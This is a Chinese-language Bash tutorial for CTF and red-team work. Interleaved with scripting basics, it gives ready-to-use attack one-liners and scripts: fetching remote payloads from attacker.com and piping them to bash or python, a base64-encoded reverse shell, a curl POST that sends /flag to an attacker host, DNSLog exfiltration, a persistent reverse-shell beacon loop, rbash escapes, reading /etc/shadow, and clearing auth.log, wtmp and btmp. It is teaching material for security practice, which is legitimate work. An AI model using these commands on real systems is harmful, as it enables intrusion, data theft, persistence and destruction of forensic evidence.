在 CTF 和红蓝对抗中,Shell 脚本不仅仅是用来简化日常运维的,更是用来在极端受限环境下实现主机探测、端口扫描、反弹 Shell 以及痕迹清理的利器。学习 Bash 脚本的终极目标是:就地取材

1 Shell 脚本基础与变量

1.1 基本结构

每个标准的 Shell 脚本都应该以 shebang 开头,告诉系统用哪个解释器来执行。

1
2
3
#!/bin/bash
# 这是一个注释
echo "Hacking in progress..."

执行脚本前,通常需要赋予执行权限:chmod +x exp.sh

1.2 预定义变量 (传参利器)

在写自动化 Exploit 时,经常需要从命令行传入 IP、端口或 Payload,这时候预定义变量非常重要:

  • $0:脚本自身的文件名。
  • $1 ~ $9:脚本的第 1 到第 9 个参数。
  • $#:传递给脚本的参数总个数。
  • $@$*:传递给脚本的所有参数(常用于将所有参数打包传给另一个命令)。
  • $?极其重要! 上一条命令的退出状态码。0 代表成功,非 0 代表失败。(常用于判断端口是否开放、爆破是否成功)。

代码示例:简单的 Payload 生成器

1
2
3
4
5
6
#!/bin/bash
if [ $# -ne 2 ]; then
echo "用法: $0 <目标IP> <目标端口>"
exit 1
fi
echo "正在生成针对 $1:$2 的 Payload..."

2 无文件的一句话shell命令

在高级攻防对抗(特别是 Web RCE 漏洞利用和内网渗透)中,将 Payload 写入磁盘极易触发告警或被杀毒软件查杀。利用 Linux 的管道符、命令替换和逻辑控制,我们可以将复杂的攻击逻辑压缩成单行命令,实现“内存加载”和“无文件落地”的攻击。

2.1 构造一句话的核心机制(“三板斧”)

2.1.1 逻辑连接符 (控制执行顺序) 这是把多条独立命令“缝合”成一句话的基础:

  • ; (分号):无条件顺序执行。无论上一条命令成功与否,继续执行下一条。
  • && (逻辑与):条件执行。只有左边的命令成功(退出码为0),才执行右边的命令。(常用于:下载成功后才执行)。
  • || (逻辑或):备用执行。只有左边的命令失败,才执行右边的命令。(常用于:如果 curl 没有,就用 wget)。
    实战组合示例:
    1
    2
    # 尝试用 curl 下载,如果失败就尝试 wget,如果成功则赋予执行权限并运行 
    curl -O http://vps/exp || wget http://vps/exp && chmod +x exp && ./exp

    2.1.2 管道符 | (数据流转)

管道符的作用是:将左边命令的“标准输出 (stdout)”直接作为右边命令的“标准输入 (stdin)”。它是在内存中传递数据的核心,完全不经过磁盘。

实战场景:无文件执行远端脚本 (Fileless Execution) 这是红队最常用的起手式。直接从远程拉取恶意 Bash 脚本并在内存中执行。

1
2
curl -s [http://attacker.com/payload.sh](http://attacker.com/payload.sh) | bash
# 解释:curl 下载脚本的代码以文本形式输出,直接顺着管道流进 bash 的肚子里被执行,全程无文件生成。

2.1.3 命令替换/占位符 $()` (结果提取)

与管道符不同,命令替换的作用是:先偷偷执行括号里的命令,然后把它的输出结果当作“字符串”,填补回原来的位置

实战场景:动态构造参数 (DNSLog 外带)

1
2
# 将当前用户名作为子域名,向 DNSLog 发起请求
ping -c 1 $(whoami).x.dnslog.cn

2.2 高阶 One-Liner 攻防实战场景

2.2.1 场景一:Base64 编码绕过特殊字符过滤

在 Web 漏洞(如命令注入)中,常常会过滤空格、引号、甚至反斜杠。我们可以把包含恶意的长串 Payload 进行 Base64 编码,利用管道符一句话解码并执行。

Payload 构造: 假设原命令是复杂的反弹 Shell:bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 将其 Base64 编码后得到:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=

一句话无文件触发:

1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash

(整个过程全在管道和内存中完成,完美绕过了对 >,&,/ 等符号的正则过滤)

2.2.2 场景二:配合 xargs 进行参数传递

有时候,右边的命令不接受管道传来的“标准输入”,只接受跟在命令后面的“参数”(比如 touch, rm, curl 等)。这时候就需要 xargs 将管道数据转换成命令行参数。

实战场景:读取敏感文件并通过 curl POST 发送

1
2
3
4
# 错误写法:cat /flag | curl -X POST -d [http://attacker.com](http://attacker.com) (curl 不知道把管道数据放哪里)

# 正确写法 (利用 xargs 的占位符功能):
cat /flag | base64 -w 0 | xargs -I {} curl -X POST -d "data={}" [http://attacker.com/recv](http://attacker.com/recv)

解释:-I {} 表示将前面传过来的数据命名为 {},然后将它插入到后面 curl 命令中 {} 所在的位置。

2.2.3 场景三:Python 无文件内存加载

如果目标机器上没有 bash 或者限制极严,但存在 Python 环境,我们可以利用 Python 的 -c (Command) 参数,结合命令替换,实现一行代码远程加载并执行复杂的 Python 脚本。

Bash

1
2
# 从远端下载 Python 木马并在内存中直接解析执行
python3 -c "$(curl -s [http://attacker.com/evil.py](http://attacker.com/evil.py))"

2.2.4 场景四:交互式环境逃逸

在某些 CTF 题目或加固的堡垒机中,你登录后面对的是 rbash (Restricted Bash),禁用了路径跳转、重定向等功能。可以使用一句话调用其他解释器来生成标准 Shell。

1
2
3
4
5
# 利用 awk 执行系统命令逃逸
awk 'BEGIN {system("/bin/sh")}'

# 利用 find 的 -exec 参数逃逸
find / -name "flag" -exec /bin/sh \; 2>/dev/null

3 流程控制 (红蓝实战场景)

3.1 if 条件判断 (环境侦察)

在执行高危操作前,通常需要判断当前用户权限或目标文件是否存在。

实战场景:检查是否拿到 Root 权限

1
2
3
4
5
6
7
8
9
#!/bin/bash
# $EUID 是系统内置变量,Root 的 EUID 永远是 0
if [ "$EUID" -ne 0 ]; then
echo "[-] 权限不足,正在尝试提权..."
# 执行提权函数
else
echo "[+] 已获取 Root 权限!开始抓取 Hash..."
cat /etc/shadow
fi

3.1.1 核心语法与注意事项

在 Bash 中,if 语句主要使用 [ ](单括号)或 [[ ]](双括号)来进行条件测试。

  • 强烈推荐使用 [[ ]] (双括号):它是 Bash 的扩展语法,比单括号更安全(不容易因为变量为空或包含空格而报错),并且支持更强大的正则匹配和模式匹配。
  • 致命空格: 在 Bash 中,括号内外、运算符前后必须有空格。[ "$A" == "1" ] 是对的,["$A"=="1"] 会直接报错。

基本结构:

1
2
3
4
5
6
7
if [[ 条件测试 ]]; then
# 条件成立时执行
elif [[ 另一个条件 ]]; then
# 另一个条件成立时执行
else
# 都不成立时执行
fi

3.1.2 字符串比较 (常用于判断输入参数)

用于检查命令输出、传入的 Payload 或用户名等。

  • -z "$str" : 判断字符串是否为空 (Zero length)。【实战常用:检查是否传入了目标 IP】
  • -n "$str" : 判断字符串是否非空 (Non-zero length)。
  • "$a" == "$b" : 检查字符串是否相等。
  • "$a" != "$b" : 检查字符串是否不相等。
  • [[ "$a" == *keyword* ]] : 通配符匹配(检查 $a 中是否包含 keyword,注意星号在双括号内才生效)。

实战代码:检查传入参数并验证格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
target_ip=$1

# 检查参数是否为空
if [[ -z "$target_ip" ]]; then
echo "[-] 错误: 请输入目标 IP 地址!"
echo "用法: $0 <IP>"
exit 1
fi

# 检查是否包含特殊字符 (简单的防注入检查)
if [[ "$target_ip" == *";"* ]] || [[ "$target_ip" == *"|"* ]]; then
echo "[-] 警告: 检测到非法字符,终止执行!"
exit 1
fi

echo "[+] 目标 IP 设定为: $target_ip"

3.1.3 整数比较 (常用于状态码、UID、端口号)

注意:在单括号 [ ] 中,只能使用英文缩写!(在双括号 (( )) 中才可以使用 >, <,但为了通用性,建议记住英文缩写)。

  • -eq : 等于 (Equal)
  • -ne : 不等于 (Not Equal)
  • -gt : 大于 (Greater Than)
  • -ge : 大于或等于 (Greater than or Equal)
  • -lt : 小于 (Less Than)
  • -le : 小于或等于 (Less than or Equal)

实战代码:判断 Web 响应状态码

1
2
3
4
5
6
7
8
9
status_code=$(curl -s -o /dev/null -w "%{http_code}" http://192.168.1.100)

if [[ "$status_code" -eq 200 ]]; then
echo "[+] 访问成功,状态码 200"
elif [[ "$status_code" -eq 401 ]] || [[ "$status_code" -eq 403 ]]; then
echo "[-] 存在权限验证或被 WAF 拦截 (状态码 $status_code)"
else
echo "[-] 未知状态码: $status_code"
fi

3.1.4 文件属性判断 (红蓝侦察核心)

这是渗透测试和提权脚本中最重要的一部分!用于探测目标环境。

  • -e FILE : 检查文件或目录是否存在 (Exist)。
  • -f FILE : 检查是否为普通文件 (File)。
  • -d DIR : 检查是否为目录 (Directory)。
  • -r FILE : 检查当前用户是否有权限 (Read)。【用于探测敏感文件如 /etc/shadow】
  • -w FILE : 检查当前用户是否有权限 (Write)。【用于寻找可写入后门的位置】
  • -x FILE : 检查当前用户是否有执行权限 (eXecute)。【用于寻找可利用的二进制文件】
  • -s FILE : 检查文件是否存在且大小不为 0 (Size)。

实战代码:全自动敏感文件探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
shadow_file="/etc/shadow"
ssh_dir="/root/.ssh"

echo "[*] 开始环境侦察..."

# 1. 检查是否能读取密码哈希
if [[ -r "$shadow_file" ]]; then
echo "[+] 极度危险:当前用户具有 $shadow_file 读取权限!"
# cat $shadow_file > hash.txt
else
echo "[-] 安全:无法读取 $shadow_file"
fi

# 2. 检查 Root 目录是否可访问
if [[ -d "$ssh_dir" ]] && [[ -r "$ssh_dir" ]]; then
echo "[+] 发现可读取的 SSH 配置目录!"
ls -al $ssh_dir
fi

# 3. 检查常用的提权工具是否存在
if [[ -x "/usr/bin/gcc" ]]; then
echo "[+] 目标机器安装了 gcc 编译器,可以尝试编译本地提权 Exp。"
fi

3.1.5 逻辑运算符 (组合条件)

  • && : 逻辑与 (AND),前后条件都成立才为真。
  • || : 逻辑或 (OR),只要有一个条件成立即为真。
  • ! : 逻辑非 (NOT),反转判断结果。

技巧:在使用单括号 [ ] 时,逻辑与/或需要用 -a-o;但强烈建议直接使用双括号 [[ ]] 配合 &&||,不仅可读性高,而且不会出错。

1
2
3
4
5
# 例子:如果 /tmp 可写 并且 /usr/bin/wget 存在
if [[ -w "/tmp" ]] && [[ -e "/usr/bin/wget" ]]; then
echo "[+] 环境满足下载 Payload 的条件"
# cd /tmp && wget http://attacker.com/exp.sh
fi

3.2 for 循环 (自动化扫描/爆破)

for 循环是内网横向移动时进行主机存活探测、批量打 Payload 的核心。

3.2.1 核心语法与常用迭代方式

Bash 中的 for 循环非常灵活,支持多种数据列表的遍历方式,应对不同的渗透场景:

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 遍历大括号生成的序列 (最常用于扫描 C 段 IP 或枚举连续数字)
for i in {1..254}; do ... done

# 2. 遍历数组 (常用于测试常见的敏感端口或敏感目录)
ports=(22 80 443 3306 6379)
for p in "${ports[@]}"; do ... done

# 3. 遍历命令的输出结果 (常用于提权侦察:处理找到的特定文件)
for file in $(find / -perm -u=s -type f 2>/dev/null); do ... done

# 4. C 语言风格的循环 (常用于需要精准控制步长的盲注或爆破)
for ((i=0; i<=100; i+=10)); do ... done

3.2.2 实战场景 1:无工具端口扫描器 (Living off the Land)

当你在内网拿到一台机器,但上面既没有 nmap 也没有 nc,甚至不允许上传文件时,可以用原生 /dev/tcp 配合 for 循环写一个极速的并发端口扫描器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
target="192.168.1.100"
# 定义内网常见的脆弱端口:SSH, Web, RDP, MySQL, Redis, MS17-010
ports=(22 80 443 3389 3306 6379 445)

echo "[*] 开始对 $target 进行原生端口扫描..."

for port in "${ports[@]}"; do
# 核心原理:利用 bash 伪设备建立 TCP 连接。
# 成功则退出码为0,执行 echo;失败则直接丢弃报错信息。& 放入后台并发。
(echo > /dev/tcp/$target/$port) >/dev/null 2>&1 && echo "[+] 端口 $port 开放" &
done

wait # 必须加上 wait,让主进程等待所有后台并发进程探测完毕
echo "[*] 扫描结束。"

3.2.3 实战场景 2:CTF Web 敏感文件/备份源码探测

在 CTF 比赛中,有时候我们需要快速探测某个接口是否存在备份文件(比如 index.php.bak, index.php~)。如果不方便挂代理用 Burp 爆破,一行 for 循环即可搞定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
url="http://challenge.localhost/index.php"
# 常用的编辑器备份和源码泄露后缀
suffixes=(".bak" "~" ".swp" ".old" ".txt" ".zip" ".tar.gz")

for ext in "${suffixes[@]}"; do
# -s: 静默模式, -o /dev/null: 丢弃响应体内容, -w: 提取 HTTP 状态码
code=$(curl -s -o /dev/null -w "%{http_code}" "${url}${ext}")

if [[ "$code" -eq 200 ]]; then
echo "[!] 发现高危泄露: ${url}${ext} (状态码 200)"
elif [[ "$code" -ne 404 ]]; then
echo "[-] 状态码 $code: ${url}${ext}"
fi
done

3.2.4 实战场景 3:权限维持之“端口敲门”

红队在目标机器上留下隐藏后门(如只在特定条件下才放行 SSH 防火墙规则)时,经常使用“端口敲门”技术。攻击者必须依次触碰特定的几个端口,后门才会开启。用 for 循环敲门最合适不过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
target="192.168.1.50"
# 约定的敲门暗号(端口序列)
knock_seq=(1337 7331 8080)

echo "[*] 正在执行端口敲门序列..."
for port in "${knock_seq[@]}"; do
echo " -> 敲击 $port 端口"
# 设置 1 秒超时,因为敲门端口通常是过滤(Filtered)状态,没必要死等
curl -s --connect-timeout 1 "http://$target:$port" >/dev/null 2>&1
sleep 0.5 # 敲门间隔,防止包乱序到达
done

echo "[+] 敲门完成,正在尝试连接 SSH 后门..."
ssh hacker@$target

3.2.5 实战场景 4:基于序列的盲注辅助探测

在进行 SQL 盲注或命令执行盲注时,有时我们需要不断递增某个 ID 或者 sleep 的时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
# 场景:测试某个注入点的 LIMIT 范围,或者枚举特定的 user_id
url="http://challenge.localhost/api/user?id="

for ((id=1; id<=20; id++)); do
echo -n "[*] 正在探测 ID = $id ... "
# 发送请求,检索响应中是否包含特定关键字
result=$(curl -s "${url}${id}" | grep "admin")

if [[ -n "$result" ]]; then
echo " 命中目标!"
break # 找到目标后立刻跳出循环
else
echo " 失败"
fi
done

⚠️ 避坑指南: 如果你使用 for line in $(cat file.txt) 来遍历带空格的文件内容(比如带空格的密码字典),Bash 默认会把空格也当作分隔符,导致一行内容被拆成多段。 解决办法: 处理需要逐行读取的字典时,强烈建议使用 while read -r line; do ... done < file.txt,而不是使用 for

3.3 while 循环 (字典读取与行处理)

在渗透测试中,while 循环主要用于处理基于行的文本流,例如读取密码字典进行盲注/爆破、逐行解析系统配置文件,或者编写无限循环的守护进程(维持权限)。

3.3.1 核心语法与“避坑”指南

逐行读取文件时,最标准的 Bash 写法是结合 read 命令和输入重定向 <

1
2
3
while read -r line; do
echo "$line"
done < "dict.txt"

⚠️ 关键细节(面试与实战常考):

  1. 必须加 -r 参数read -r 表示保留原样(Raw),防止字典中的反斜杠 \ 被 Bash 意外转义或吞掉。这在读取包含特殊字符的密码字典时极其重要

  2. 变量加双引号:引用 $line 时一定要加 "$line",防止字典里的空格导致参数解析错误。

  3. 重定向在末尾< "dict.txt" 放在 done 的后面,代表把整个文件作为输入流喂给这个 while 循环。

3.3.2 实战场景 1:优化版 Web 目录爆破 (带简单并发)

截图中的原生单线程爆破速度会非常慢。在没有 ffufdirsearch 的极限环境下,我们可以利用后台运行 & 加上简单的并发控制来提升速度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
target="http://challenge.localhost/"
wordlist="dict.txt"

echo "[*] 开始对 $target 进行目录爆破..."

# 计数器,用于控制并发数量
count=0

while read -r path; do
# 丢入后台执行 (&)
{
status=$(curl -s -o /dev/null -w "%{http_code}" "${target}${path}")
if [[ "$status" -eq 200 ]] || [[ "$status" -eq 403 ]]; then
echo "[+] 发现目录: /${path} (状态码: $status)"
fi
} &

# 简单并发控制:每发 20 个请求就稍微等一下,防止把目标或本地发崩
((count++))
if [[ $((count % 20)) -eq 0 ]]; then
wait # 等待这 20 个后台进程执行完毕再继续
fi

done < "$wordlist"

wait # 确保最后一批请求执行完毕
echo "[*] 爆破结束。"

3.3.3 实战场景 2:解析系统敏感文件 (提权信息收集)

拿到低权限 Shell 后,我们经常需要读取 /etc/passwd 来寻找有哪些可登录的用户。利用内置字段分隔符变量 IFSwhile 可以像处理 CSV 一样轻松切分数据。

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
echo "[*] 提取系统中拥有交互式 Shell 的真实用户:"

# 将分隔符临时设置为冒号
while IFS=: read -r username password uid gid info home shell; do
# 过滤掉那些无法登录的系统伪用户 (如 /bin/false 或 /sbin/nologin)
if [[ "$shell" == *"/bin/bash"* ]] || [[ "$shell" == *"/bin/sh"* ]] || [[ "$shell" == *"/bin/zsh"* ]]; then
echo " -> 用户名: $username | UID: $uid | 目录: $home | Shell: $shell"
fi
done < "/etc/passwd"

3.3.4 实战场景 3:无限循环与权限维持 (Beaconing)

在红队行动中,如果我们在目标机器上留下了一个反弹 Shell,为了防止网络波动断开连接,通常会写一个无限 while 循环让它定期(像心跳一样)向我们的 C2 服务器发起连接请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
# 极其隐蔽的 Bash 反弹 Shell 守护进程 (死循环)

while true; do
# 尝试连接攻击机的 4444 端口
if bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 2>/dev/null; then
# 如果连接断开了,休息 10 秒后重试,避免疯狂重连引起管理员注意
sleep 10
else
# 如果连接失败(攻击机没监听),休息 60 秒后重试
sleep 60
fi
done

(注意:在实际环境中,这种脚本通常会在末尾加 & 让它在后台静默运行)

3.3.4.1 实战场景 4:实时监控日志提取敏感数据 (Blue Team / 蓝队溯源)

如果作为防守方(蓝队)或者 CTF AWD 赛制下的防御阶段,你可以结合管道符 |while 实时监控不断写入的 Web 日志,抓取攻击者的恶意 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
echo "[*] 正在实时监控 Nginx 访问日志,寻找 SQL 注入特征..."

# tail -f 实时输出,管道符传递给 while 逐行读取
tail -f /var/log/nginx/access.log | while read -r logline; do
# 检查当前行是否包含 select 或 union 关键字(忽略大小写)
if echo "$logline" | grep -qiE "select.*from|union.*select"; then
echo "[!] 警告: 检测到潜在的 SQL 注入攻击!"
echo " --> 恶意请求: $logline"
# 此处可以联动 iptables 自动封禁该 IP
fi
done

4 原生 Bash 高级利用 (Living off the Land)

4.1 伪设备:/dev/tcp/dev/udp

这是 Bash 中最具进攻性的隐藏功能!如果在目标机器上找不到 nc (Netcat) 或 nmap,Bash 本身就可以建立网络连接。

1. 原生端口扫描

1
2
# 测试目标 192.168.1.100 的 80 端口是否开放
(echo > /dev/tcp/192.168.1.100/80) >/dev/null 2>&1 && echo "80 端口开放" || echo "80 端口关闭"

2. 经典的 Bash 反弹 Shell (Reverse Shell)

面试与实战中最常考的 One-Liner。利用 /dev/tcp 将目标机的标准输入和输出重定向到攻击机。

1
bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

原理拆解:

  • bash -i:产生一个交互式的 bash。
  • >& /dev/tcp/IP/Port:将标准输出 (stdout) 和标准错误 (stderr) 重定向到攻击机的 TCP 连接上。
  • 0>&1:将标准输入 (stdin) 重定向到刚才建立的 TCP 连接上(即允许攻击机输入命令)。

4.2 提权辅助 (Privilege Escalation)

当拿到低权限 Shell 后,通常需要通过脚本自动化收集可提权的信息。

代码示例:快速内网信息收集脚本片段

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
echo "=== 系统信息侦察 ==="
uname -a
id

echo -e "\n=== 寻找 SUID 特权文件 ==="
# 寻找拥有 suid 权限的文件(可能存在提权漏洞,如 find, vim, cp)
find / -perm -u=s -type f 2>/dev/null

echo -e "\n=== 寻找全局可写文件 ==="
# 寻找任何人都可以修改的文件,尝试写入恶意代码
find / -writable -type f 2>/dev/null | grep -v "/proc\|/sys"

4.3 痕迹清理 (Anti-Forensics)

在红蓝对抗中,做完操作后必须抹除自己的痕迹(注意:仅限授权的攻防演练使用,切勿在真实非法环境中操作)。

代码示例:清理登录与操作日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash
echo "[*] 开始清理痕迹..."

# 1. 禁用当前的命令历史记录功能
unset HISTFILE
export HISTFILESIZE=0

# 2. 清空已有的 bash 历史记录
cat /dev/null > ~/.bash_history
history -c

# 3. 清理登录日志 (需 Root 权限)
if [ "$EUID" -eq 0 ]; then
echo "" > /var/log/auth.log # SSH 登录日志
echo "" > /var/log/wtmp # 登录登出历史
echo "" > /var/log/btmp # 失败的登录尝试
echo "[+] 系统日志已清空"
fi

echo "[*] 痕迹清理完毕,建议断开连接。"